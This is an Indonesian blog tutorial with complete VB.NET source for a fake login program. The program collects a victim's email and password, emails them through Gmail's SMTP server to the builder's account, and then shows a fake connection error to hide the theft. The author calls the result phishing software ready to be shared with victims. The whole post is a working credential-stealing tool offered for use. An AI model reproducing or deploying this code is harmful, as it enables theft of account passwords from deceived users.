membuat fake program ( vb.net only ) + send mail

Angga Je di Januari 01, 2012

tambahkan

- 4 CheckBox
- 1 Linklabel
- 1 Progressbar
- 4 Label
- 2 Textbox
- 2 Button

Spoiler: 

ini code nya :

Spoiler:

Imports System.Net.Mail

Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

If TextBox1.Text = "" Then
MsgBox("E-mail Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else
End If
End If
If ProgressBar1.Value < ProgressBar1.Maximum Then
ProgressBar1.Value += 200
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("gmailagan@gmail.com", "passwordgmailagan") 'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("gmailagan@gmail.com")
mail.To.Add("gmailagan@gmail.com")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("DIsconnected From Server, Please try again later!")

End Sub

Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Me.Close()

End Sub

Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

End Sub

Private Sub ProgressBar1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click

End Sub

Private Sub LinkLabel1_LinkClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
Process.Start("http://www.hacker-newbie.org")
End Sub
End Class

kalau sudah tekan F5 untuk start debungging

Spoiler:

kalau ada error kyk gini berarti phising sopware sukses

Spoiler: hide

terus lihat di gmail agan .

Spoiler: 

phising software siap di share . design sesuai keinginan agan" ...
maap klo tutorial nya bikin pusing .

Related Posts